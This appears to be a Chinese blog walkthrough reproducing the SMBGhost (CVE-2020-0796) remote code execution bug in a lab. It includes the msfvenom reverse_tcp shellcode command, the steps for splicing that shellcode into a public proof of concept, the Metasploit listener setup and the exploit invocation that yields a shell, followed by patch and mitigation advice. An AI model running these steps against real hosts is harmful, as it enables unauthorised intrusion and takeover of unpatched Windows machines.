踩了N多的坑,终于复现成功了

漏洞描述

2020年3月11日,某国外安全公司发布了一个近期微软安全补丁包所涉及漏洞的综述,其中谈到了一个威胁等级被标记为Critical的SMB服务远程代码执行漏洞(CVE-2020-0796),攻击者可能利用此漏洞远程无需用户验证通过发送构造特殊的恶意数据导致在目标系统上执行恶意代码,从而获取机器的完全控制。

 

受影响系统及应用版本

1
2
3
4
5
6
7
8
Windows  10 Version 1903 for 32-bit Systems                          
Windows  10 Version 1903 for ARM64-based Systems                     
Windows  10 Version 1903 for x64-based Systems                   
Windows  10 Version 1909 for 32-bit Systems                          
Windows  10 Version 1909 for ARM64-based Systems                     
Windows  10 Version 1909 for x64-based Systems                   
Windows  Server, version 1903 (Server Core installation)       
Windows  Server, version 1909 (Server Core installation)   

 

漏洞复现(远程代码执行)

需要工具

扫描:

奇安信CVE-2020-0796漏洞远程无损扫描工具:

http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

Scanner for CVE-2020-0796 - SMBv3 RCE:

https://github.com/ollypwn/SMBGhost

poc:

SMBGhost_RCE_PoC:

[https://github.com/chompie1337/SMBGhost_RCE_PoC

 

需要的环境

这边也提供两个Windows10的环境

windows_10_version_1903

Windows 10 version 1909

我这边使用的是1909

image-20200604163504191

攻击机:Kali Linux IP:192.168.100.159

靶机:Windows10 1909 IP:192.168.100.144

 

复现过程

虚拟机的内存需要4G以上,关闭Windows10的防火墙,如果有安装火绒的话一定要关闭,不然你的攻击是会被拦截的!!!

 

首先确保攻击机和靶机网络是互通的

image-20200603190019339

 

接着运行漏洞检测工具,确认该Windows10存在漏洞

image-20200603190204052

 

然后使用msf生成反向连接的python的shellcode

1
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.159 LPORT=6666 -f python -o shellcode.txt

 

把生成的shellcode里的buf替换成USER_PAYLOAD

image-20200604160453841

 

把exploit.py里的USER_PAYLOAD替换为用msf生成的shellcode

image-20200604144852105

 

msf里面启动监听

1
2
3
4
5
msf5 > use exploit/multi/handler	//选择监听模块
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp	//设置payload
msf5 exploit(multi/handler) > set lhost 192.168.100.159		//设置攻击机的地址
msf5 exploit(multi/handler) > set lport 6666	//设置目标主机回连至攻击机的端口
msf5 exploit(multi/handler) > run

image-20200604162802786

 

运行poc

注意:这边要使用python3来运行,python2运行的话不知道为啥会蓝屏

1
python3 exploit.py -ip 192.168.100.144

image-20200604163000391

 

成功getshell

image-20200604163245001

 

我第一次复现成功后,后面再尝试也会蓝屏,多试几次就好了,不行就把Windows重启一下

 

修复方法

1、微软已经发布了此漏洞的安全补丁,补丁链接:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796

2、如果暂时无法安装补丁,微软当前建议按如下临时解决方案处理:

执行以下命令来禁用SMB 3.0的压缩功能,是否使用需要结合自己业务进行判断。

1
Set-ItemProperty-Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"DisableCompression -Type DWORD -Value 1 -Force

3、更新到微软新发布的Windows10 2004